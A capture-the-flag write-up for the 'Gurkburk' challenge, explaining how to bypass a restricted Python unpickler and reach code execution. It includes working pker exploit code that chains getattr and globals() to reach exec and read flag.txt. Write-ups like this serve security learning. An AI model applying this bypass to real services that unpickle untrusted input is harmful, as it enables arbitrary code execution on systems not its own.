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Gurkburk

Python pickle deserialization vulnerability

Problem

The flag is located in ./flag.txt.

Solution

Pickle is used to save and load notes into the application.
Normally, we would be able to use the __reduce__() method to make the program call functions like os.system() (see https://davidhamann.de/2020/04/05/exploiting-python-pickle/).
See https://docs.python.org/3.7/library/pickle.html#restricting-globals. The modules we can unpickle are restricted to __main__, __builtin__ and copyreg. eval and exec are also banned.
They created an API to generate Pickle opcodes: https://github.com/EddieIvan01/pker (I made some slight modifications)
Exploit code:
getattr = GLOBAL ( '__builtin__' , 'getattr' )
dict = GLOBAL ( '__builtin__' , 'dict' )
dict_get = getattr ( dict , 'get' )
glo_dic = GLOBAL ( '__builtin__' , 'globals' )()
builtins = dict_get ( glo_dic , '__builtins__' )
exec = getattr ( builtins , 'exec' )
exec ("print(open('flag.txt', 'r').read())")
return
The idea is that using getattr, we can get submodules of __builtin__ (and the submodules of the submodules). __builtin__.globals() includes builtins, which includes exec. Once we have control over exec, we can execute arbitrary code.
Submit the base64-encoded opcodes, and we obtain the flags.

References